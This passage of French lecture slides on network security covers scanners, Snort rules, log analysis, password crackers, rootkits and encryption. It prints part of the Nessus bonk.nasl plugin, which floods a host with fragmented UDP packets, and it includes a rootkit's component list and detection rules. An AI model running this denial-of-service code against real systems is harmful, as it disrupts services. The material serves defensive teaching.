    (http://www.securityfocus.com) et beaucoup d'autres

  • 7/25/2019 117790093-securite-informatique.pdf

    88/139

    88

    28/09/2012 - ENSICAEN - (c) dp 175

    Correction des vulnrabilits

    Correctifs (patches) sur les sites desconstructeurs (pas toujours immdiat).

    Rcuprer les dernires versions desapplications dans le cas des logicielslibres.

    28/09/2012 - ENSICAEN - (c) dp 176

    Recherche des vulnrabilits

    Un scanner est un programme qui dtecte lesfaiblesses de scurit d'une machine distante oulocale.

    En interrogeant les ports TCP/IP, on peut dtecter: Les services excuts un moment prcis Les utilisateurs propritaires de ces services Si les connexions anonymes sont acceptes Si certains services rseaux ncessitent une

    authentification etc.

  • 7/25/2019 117790093-securite-informatique.pdf

    89/139

    89

    28/09/2012 - ENSICAEN - (c) dp 177

    Scanners Attention aux problmes lgaux et

    thiques lors de l'utilisation descanners.

    Les scanners laissent des traces dansles fichiers d'audit.

    On trouve des scanners commerciauxet domaines public.

    28/09/2012 - ENSICAEN - (c) dp 178

    Scanners

    Historiquement: SATAN (SecurityAdministrator's Tool for Analysing

    Networks) distribu en avril 1995 parDan Farmer et Weitse Venema.

    Quelques rfrences de scanners: nessus http://www.nessus.org

    iss http://www.iss.net

  • 7/25/2019 117790093-securite-informatique.pdf

    90/139

    90

    28/09/2012 - ENSICAEN - (c) dp 179

    Nessus: un outil de test descurit Tlchargeable sur :

    http://www.nessus.org

    Modle client/serveur:

    Utilise des plug-in

    Dispose un langage de programmation(NASL = Nessus Attack Scripting Language)

    28/09/2012 - ENSICAEN - (c) dp 180

    Nessus: suite

    Gnre des rapports clairs etexportables.

    Base de donnes des vulnrabilitsconnues remise jour rgulirement.

    Etc.

  • 7/25/2019 117790093-securite-informatique.pdf

    91/139

    91

    28/09/2012 - ENSICAEN - (c) dp 181

    Nessus: exemple de rsultat

    28/09/2012 - ENSICAEN - (c) dp 182

    Exemple plug-in: bonk.nasl(extrait)

    start_denial();

    PADDING = 0x1c;

    FRG_CONST = 0x3;

    sport = 123;

    dport = 321;

    addr = this_host();

    ip = forge_ip_packet(ip_v : 4,ip_ hl : 5 ,

    ip_len : 20 + 8 + PADDING,

    ip_id : 0x455,

    ip_p : IPPROTO_UDP,

    ip_tos : 0,

    ip_ttl : 0x40,

    ip_off : IP_MF,

    ip_src : addr);

    udp1 = forge_udp_packet(ip : ip, uh_sport:sport,uh_dport:dport, uh_ulen : 8 + PADDING);

    set_ip_elements(ip : ip, ip_off : FRG_CONST + 1,ip_len : 20 + FRG_CONST);

    udp2 = forge_udp_packet(ip : ip,uh_sport : sport,

    uh_dport : dport, uh_ulen : 8 + PADDING);

    send_packet(udp1, udp2, pcap_active:FALSE) x500;

    sleep(5);

    alive = end_denial();

    if(!alive){

    set_kb_item(name:"Host/dead",value:TRUE);

    security_hole(0, prototype:"udp");

    }

  • 7/25/2019 117790093-securite-informatique.pdf

    92/139

    92

    28/09/2012 - ENSICAEN - (c) dp 183

    Exploitation des vulnrabilits

    Le compte rendu des scanners peut trecorrl avec les bases de donnesd'incidents pour obtenir l'exploitcorrespondant.

    exemples:http://www.securityfocus.com (rfrencement BID)http://cve.mitre.org (rfrencement CVE)

    28/09/2012 - ENSICAEN - (c) dp 184

    IntrusionDetectionSystem

    Bas sur: une approche comportementale: dfinition de

    profils type d'utilisateur,

    une approche par scnario: cration d'une basede donnes d'attaques, de signatures,

    Un IDS ne doit pas gnrer trop de "faux positifs".

    Surveillance sur le rseau: NIDS (Network IntrusionDetection System).

  • 7/25/2019 117790093-securite-informatique.pdf

    93/139

    93

    28/09/2012 - ENSICAEN - (c) dp 185

    Snort: un exemple de NIDS

    Network Intrusion Detection Software

    Permet de dtecter les scanners et tentativesdintrusion

    Tlchargeable sur http://www.snort.org

    28/09/2012 - ENSICAEN - (c) dp 186

    Snort: fonctionnalits

    Dtection au niveau des protocolesIP TCP UDP ICMP

    Dtection dactivits anormalesStealth scan, OS Finger Printingcode ICMP invalide

    Prprocesseur pour la gestion des fragments,les sessions http,

  • 7/25/2019 117790093-securite-informatique.pdf

    94/139

    94

    28/09/2012 - ENSICAEN - (c) dp 187

    Architecture de snort

    libpcap

    dcodage

    Prprocesseur 1

    Prprocesseur n

    Dtection

    plugins dedtection

    Sortie 1

    Sortie n

    28/09/2012 - ENSICAEN - (c) dp 188

    Snort: exemples de rgles

    alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3306(msg:"MYSQL root login attempt"; flow:to_server,established;

    content:"|0A 00 00 01 85 04 00 00 80 72 6F 6F 74 00|";classtype:protocol-command-decode; sid:1775; rev:1;)

    alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3306(msg:"MYSQL show databases attempt";flow:to_server,established; content:"|0f 00 00 00 03|showdatabases"; classtype:protocol-command-decode; sid:1776;rev:1;)

  • 7/25/2019 117790093-securite-informatique.pdf

    95/139

    95

    28/09/2012 - ENSICAEN - (c) dp 189

    Exemple de rsultat snort (avecipcop)

    28/09/2012 - ENSICAEN - (c) dp 190

    Exemple d'attaquant

  • 7/25/2019 117790093-securite-informatique.pdf

    96/139

    96

    28/09/2012 - ENSICAEN - (c) dp 191

    IntrusionPreventionSystem Un IPS peut stopper un trafic jug

    suspect.

    Un logiciel peut se trouver sur unrouteur, sur un firewall ou sur un botierspcialis en rupture du rseau.

    Exemples d'diteur d'IPS:Cisco, ISS, McAfee,

    28/09/2012 - ENSICAEN - (c) dp 192

    Mtrologie Les outils d'analyse de trafic et de mtrologie

    permettent de dtecter l'utilisation anormale durseau et les pics de consommation (scan massif,).

    Quelques exemples d'outils: extra (EXternal TRaffic Analyser)

    http://lpsc.in2p3.fr/extra/

    mrtg (Multi Router Traffic Grapher)http://www.mrtg.org

    vigiloghttp://vigilog.ensmp.fr/

  • 7/25/2019 117790093-securite-informatique.pdf

    97/139

    97

    28/09/2012 - ENSICAEN - (c) dp 193

    extra

    Logiciel de monitoring du trafic rseau

    Fonctions de base: Recueil des logs routeurs (IP source, IP

    destination, Port source, Port destination, volume).

    Stockage dans une base de donnes

    Traitement systmatique sur les logs

    Interface graphique d'analyse

    28/09/2012 - ENSICAEN - (c) dp 194

    INTERNET

    RESEAU LOCAL

    EXTRA

    EXTRA BD

    COLLECTEURSTART/STOP

    LOGS

    LOADROUTEUR

    SNIFFER

  • 7/25/2019 117790093-securite-informatique.pdf

    98/139

    98

    28/09/2012 - ENSICAEN - (c) dp 195

    Exemple de rsultat

    28/09/2012 - ENSICAEN - (c) dp 196

    mrtg

    Utilisation de SNMP pour relever lescompteurs des priphriques (routeurs,

    ).

    Cration de pages html en temps relscontenant des graphes reprsentant letrafic sur le rseau en cours desurveillance.

  • 7/25/2019 117790093-securite-informatique.pdf

    99/139

    99

    28/09/2012 - ENSICAEN - (c) dp 197

    mrtg: exemple de rsultat

    28/09/2012 - ENSICAEN - (c) dp 198

    vigilog

    Rediriger les violations d'ACL d'un routeur surle syslog d'une machine.

    Traitement des logs par des scripts perl.

    Courriel de synthse envoy l'administrateur.

    Rapport sous forme de page html: adresses d'origine les plus actives. adresses de destination les plus actives. les ports les plus recherchs. etc.

  • 7/25/2019 117790093-securite-informatique.pdf

    100/139

    100

    28/09/2012 - ENSICAEN - (c) dp 199

    Extrait d'une ACLensicaen> show access-lists 112

    deny tcp any any eq sunrpc log (48501 matches)deny udp any any eq sunrpc log (54 matches)deny udp any any eq 135 log (545 matches)deny tcp any any eq 135 log (8717308 matches)deny tcp any any eq 136 log (19 matches)deny udp any any eq 136 logdeny tcp any any eq 139 log (3918461 matches)deny udp any any eq netbios-ss logdeny tcp any any eq 412 log (13 matches)deny udp any any eq 412 log

    deny tcp any any eq 444 log (4539 matches)deny udp any any eq 444 logpermit ip any any (330007431 matches)permit udp any anypermit tcp any any

    28/09/2012 - ENSICAEN - (c) dp 200

    Vigilog: exemple de sortie

    *** ACL 112 - Entree Site ***

    Les adresses sources les plus actives :

    112 200.31.197.180 536 lignes - mail.unad.edu.co

    112 201.129.251.211 524 lignes - dsl-201-129-251-211.prod-infinitum.com.mx

    112 61.33.21.2 484 lignes - 61.33.21.2112 222.149.121.109 416 lignes - p2109-ipbf208niho.hiroshima.ocn.ne.jp

    112 4.8.153.86 246 lignes - lsanca1-ar56-4-8-153-086.lsanca1.dsl-verizon.net

    112 67.123.125.162 245 lignes - 67-123-125-162.ded.pacbell.net

    112 218.22.209.178 207 lignes - 218.22.209.178

    112 61.153.27.154 201 lignes - 61.153.27.154

    112 209.139.21.66 192 lignes - mail.imtstones.com

  • 7/25/2019 117790093-securite-informatique.pdf

    101/139

    101

    28/09/2012 - ENSICAEN - (c) dp 201

    Vigilog: exemple de sortie

    *** Les ports de destination les plus recherchs :154 4662 tcp edonkey 1108 lignes154 1214 tcp kazaa 102 lignes154 4665 tcp edonkey 51 lignes154 4664 tcp edonkey 46 lignes154 4663 tcp edonkey 41 lignes154 137 udp netbios-ns 17 lignes

    154 138 udp netbios-dgm 16 lignes154 6889 udp 4 lignes154 6882 tcp 3 lignes154 1214 udp kazaa 2 lignes

    28/09/2012 - ENSICAEN - (c) dp 202

    Vigilog: exemple de sortie

    *** SCAN a partir de 4.5.55.68 wbar2.sea1-4-5-055-068.sea1.dsl-verizon.net

    44 ligne(s), 42 adresse(s), 1 port(s)** PORTS 135/tcp - loc-srv **ADRESSES

    192.93.101.24 192.93.101.35 192.93.101.68 192.93.101.71192.93.101.76 192.93.101.77 192.93.101.89 192.93.101.96192.93.101.124 192.93.101.157 192.93.101.164 192.93.101.170192.93.101.204 192.93.101.214 192.93.101.234 192.93.117.0192.93.117.16 192.93.117.20 192.93.117.54 192.93.117.61192.93.117.109 192.93.117.159 192.93.117.178 192.93.212.6192.93.212.12 192.93.212.20 192.93.212.44 192.93.212.46192.93.212.58 192.93.212.79 192.93.212.87 192.93.212.95192.93.212.123 192.93.212.172 192.93.212.180 192.93.212.195192.93.212.206 192.93.212.220 192.93.212.228 192.93.212.245192.93.212.248 192.93.212.250

  • 7/25/2019 117790093-securite-informatique.pdf

    102/139

    102

    28/09/2012 - ENSICAEN - (c) dp 203

    Vigilog: exemple de sortie----------------------------------------------------------------------LES HARCELEMENTS----------------------------------------------------------------------

    *** ACL 112 - Entree Site

    *** 200.31.197.180 -> 192.93.101.151 586 lignes mail.unad.gov.co ->sprv.ensicaen.fr PORT 139/tcp netbios-ssn 586 lignes

    *** 202.147.224.102 -> 192.93.101.232 81 lignes 202.147.224.102 ->crchateigner.ensicaen.fr PORT 139/tcp netbios-ssn 81 lignes

    *** 219.146.101.206 -> 192.93.101.138 104 lignes 219.146.101.206 ->spsc2.ensicaen.fr PORT 139/tcp netbios-ssn 104 lignes

    *** 220.175.59.220 -> 192.93.101.232 106 lignes 220.175.59.220 ->crchateigner.ensicaen.fr PORT 139/tcp netbios-ssn 106 lignes

    28/09/2012 - ENSICAEN - (c) dp 204

    Craquage de mots de passe

    Les mots de passe sont souvent un maillon faible dela scurit.

    Le choix d'un mot de passe doit obir des rgles

    strictes. Des outils existent pour dcrypter les mots de passe:

    Pour unix: crack

    http://www.crypticide.com/users/alecm/

    John The Ripper http://www.openwall.com/john/

    Pour windows: l0phtcrack http://www.atstake.com/

  • 7/25/2019 117790093-securite-informatique.pdf

    103/139

    103

    Un logiciel de stockage demot de passes De plus en plus de mots de passe retenir.

    Les mots de passe doivent tre robustes.

    On nutilise pas le mme mot de passe partout!

    Les post-its sont dconseills pour les mmoriser ;)

    Exemples de logiciel de stockage de mots de passe:

    28/09/2012 - ENSICAEN - (c) dp 205

    http://www.flyingbit.com/downloads http://keepass.info/

    28/09/2012 - ENSICAEN - (c) dp 206

    Exemple de logiciel decraquage

  • 7/25/2019 117790093-securite-informatique.pdf

    104/139

    104

    28/09/2012 - ENSICAEN - (c) dp 207

    Exemple d'attaque sshSep 26 00:29:24 www sshd[16963]:Fail ed password for root from 80.88.158.137port 39464 ssh2Sep 26 00:29:29 www sshd[16965]:Fail ed password for root from 80.88.158.137port 39511 ssh2Sep 26 00:29:34 www sshd[16967]:Fail ed password for root from 80.88.158.137port 39554 ssh2Sep 26 00:29:39 www sshd[16969]:Fail ed password for root from 80.88.158.137port 39597 ssh2Sep 26 00:29:44 www sshd[16971]:Fail ed password for root from 80.88.158.137port 39643 ssh2Sep 26 00:29:49 www sshd[16973]:Fail ed password for root from 80.88.158.137port 39683 ssh2Sep 26 00:29:54 www sshd[16975]:Fail ed password for root from 80.88.158.137port 39729 ssh2Sep 26 00:29:59 www sshd[16977]:Fail ed password for root from 80.88.158.137port 39774 ssh2

    Sep 23 20:58:17 www sshd[11025]:Fail ed password for invalid user tiffany from 63.237.87.70 port 42579 ssh2Sep 23 20:58:18 www sshd[11027]:Invalid user ti ffany from 63.237.87.70Sep 23 20:58:18 www sshd[11027]:error: Could not get shadow information for NOUSERSep 23 20:58:18 www sshd[11027]:Fail ed password for invalid user tiffany from 63.237.87.70 port 42673 ssh2Sep 23 20:58:19 www sshd[11029]:Invalid user ti ffany from 63.237.87.70Sep 23 20:58:19 www sshd[11029]:error: Could not get shadow information for NOUSERSep 23 20:58:19 www sshd[11029]:Fail ed password for invalid user tiffany from 63.237.87.70 port 42762 ssh2Sep 23 20:58:20 www sshd[11031]:Invalid user tracy from 63.237.87.70

    Sep 23 20:58:20 www sshd[11031]:error: Could not get shadow information for NOUSERSep 23 20:58:20 www sshd[11031]:Fail ed password for invalid user tracy from 63.237.87.70 port 42858 ssh2Sep 23 20:58:21 www sshd[11033]:Invalid user tracy from 63.237.87.70Sep 23 20:58:21 www sshd[11033]:error: Could not get shadow information for NOUSER

    28/09/2012 - ENSICAEN - (c) dp 208

    RootKits

    Un "rootkit" est dfini par la NSA:

    A hacker security tool that captures passwords andmessage traffic to and from a computer. A collectionof tools that allows a hacker to provide a backdoorinto a system, collect information on other systemson the network, mask the fact that the system iscompromised, and much more. Rootkit is a classicexample of Trojan Horse software. Rootkit isavailable for a wide range of operating systems.

  • 7/25/2019 117790093-securite-informatique.pdf

    105/139

    105

    28/09/2012 - ENSICAEN - (c) dp 209

    RootKits Souvent utilis par un intrus pour se dissimuler et

    garder les accs privilgis qu'il a obtenu. Les premires alertes sur l'utilisation de rootkits

    datent de fvrier 1994. Outil devenu trs populaire et qui complique la

    dtection d'intrusion. Trs rpandu sur les machines SUN et Linux. Une rootkit classique contiendra un sniffer, des

    logiciels avec backdoors comme inetd, login,,remplacera des commandes comme ps, netstat, ls, On pourra trouver galement des commandes denettoyage de logs (/var/log), etc.

    28/09/2012 - ENSICAEN - (c) dp 210

    Exemple de rootkit: lrkn chfn Trojaned! User->r00t chsh Trojaned! User->r00t inetd Trojaned! Remote access login Trojaned! Remote access ls Trojaned! Hide files du Trojaned! Hide files

    i fconfi g Trojaned! H ide sni ffi ng netstat Trojaned! H ide connecti ons passwd Trojaned! U ser->r00t ps Trojaned! Hide processes top Trojaned! Hide processes rshd Trojaned! Remote access syslogd Trojaned! Hide logs linsniffer Packet sniffer! fix File fixer! z2 Zap2 utmp/wtmp/lastlog eraser! wted wtmp/utmp editor! lled lastlog editor! bind she ll po rt /shel l t ype d ae mo n! tcpd Trojaned! H ide connecti ons, a voi d deni es

  • 7/25/2019 117790093-securite-informatique.pdf

    106/139

    106

    28/09/2012 - ENSICAEN - (c) dp 211

    Dtection de rootkits Si la machine est infecte, toutes les commandes locales sont

    suspectes.

    Dtection des ports ouverts non officiels (avec nmap sur une machineexterne). Par exemple l'inetd de lrk4 ouvre le port 5002.

    Recherche des rpertoires spcifiques aux rootkits (par exemple/dev/ptry avec lrk4).

    Utilitaires de dtection:unix: chkrootkit http://www.chkrootkit.org/

    windows:rootkitrevealerhttp://www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtmlStrider GhostBusterhttp://research.microsoft.com/rootkit/F-Secure Blacklight http://www.f-secure.com/blacklight/

    Se prmunir des rootkits:tripwire http://www.tripwire.com

    28/09/2012 - ENSICAEN - (c) dp 212

    Bibliothques Dynamiques Beaucoup de fichiers sont modifier pour

    rester invisible.

    Cependant, les binaires utilisent le conceptdes bibliothques dynamiques pour viterd'tre trop gros (dll sous windows, fichiers .sosous unix).

    La modification d'une bibliothque dynamiquepeut suffire modifier plusieurs commandes.

  • 7/25/2019 117790093-securite-informatique.pdf

    107/139

    107

    28/09/2012 - ENSICAEN - (c) dp 213

    Exemple bibliothquedynamique[root@ns /root]#ldd `which uptime` `which top` `which ps`/usr/bin/uptime:

    libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)libc.so.6 => /lib/libc.so.6 (0x40023000)/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

    /usr/bin/top:libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)libncurses.so.4 => /usr/lib/libncurses.so.4 (0x40023000)libc.so.6 => /lib/libc.so.6 (0x40060000)/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

    /bin/ps:libproc.so.2.0.0 => /lib/libproc.so.2.0.0 (0x40018000)libc.so.6 => /lib/libc.so.6 (0x40023000)/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

    28/09/2012 - ENSICAEN - (c) dp 214

    Chiffrement, tunnelset vpn

  • 7/25/2019 117790093-securite-informatique.pdf

    108/139

    108

    Chiffrement de documents

    Les documents importants doivent tre chiffrs.

    Le chiffrement peut tre matriel (ordinateur portable avecdisque auto chiffrant, cl usb auto chiffrante, )

    Le chiffremenr peut tre logiciel, beaucoup de logiciels existent.

    winrar (chiffrement symtrique)

    GnuPG (chiffrement asymtrique) Enigmail plugin de Thunderbird pour lchange de courrier

    lectronique chiffr/sign.

    Truecrypt: Chiffrement de disques, de partitions de disques,de cls USB.

    28/09/2012 - ENSICAEN - (c) dp 215

    28/09/2012 - ENSICAEN - (c) dp 216

    Protocoles chiffrs

    Les informations confidentielles doiventtransiter sur le rseau par des protocoleschiffrs:

    Exemples: https plutt que http pops plutt que pop imaps plutt que imap smtps plutt que smtp etc.

  • 7/25/2019 117790093-securite-informatique.pdf

    109/139

    109

    28/09/2012 - ENSICAEN - (c) dp 217

    Session chiffre ssh (Secure Shell) plutt que

    telnet,rlogin,rsh,rcp Gnration d'une paire de clef RSA (toutes

    les heures) par le serveur. Envoi de la clef publique au client qui se

    connecte. Le client gnre une clef symtrique, la

    chiffre avec la clef du serveur et la renvoie auserveur. Le reste de la communication est en

    chiffrement symtrique.

    28/09/2012 - ENSICAEN - (c) dp 218

    Tunneling

    Un protocole de tunneling est utilis pourcrer un chemin priv (tunnel) travers uneinfrastructure ventuellement publique.

    Les donnes peuvent tre encapsules etcryptes pour emprunter le tunnel.

    Solution intressante pour relier deux entitsdistantes moindre cot.

  • 7/25/2019 117790093-securite-informatique.pdf

    110/139

    110

    28/09/2012 - ENSICAEN - (c) dp 219

    Tunneling ssh

    Un flux tcp quelconque peut tre redirig dans untunnel ssh:

    client serveur

    client ssh serveur ssh

    28/09/2012 - ENSICAEN - (c) dp 220

    Exemple tunneling ssh

    Client ssh (http://www.ssh.com)

    Paramtres Outlook Express

  • 7/25/2019 117790093-securite-informatique.pdf

    111/139

    111

    28/09/2012 - ENSICAEN - (c) dp 221

    Autre exemple de tunneling

    Autre logiciel de tunneling: stunnel utilisant SSL(http://www.stunnel.org)

    28/09/2012 - ENSICAEN - (c) dp 222

    Configuration client courrier

    Paramtres outlook express

  • 7/25/2019 117790093-securite-informatique.pdf

    112/139

    112

    28/09/2012 - ENSICAEN - (c) dp 223

    Connexions TCP/IPscurises SSL (Secure Sockets Layer)

    Se situe entre la couche application et lacouche transport.

    Garantit l'authentification, l'intgrit et laconfidentialit.

    Largement utilis pour la scurisation dessites www (https).

    28/09/2012 - ENSICAEN - (c) dp 224

    Fonctionnement SSL1) Hello, version de SSL, protocole de chiffrem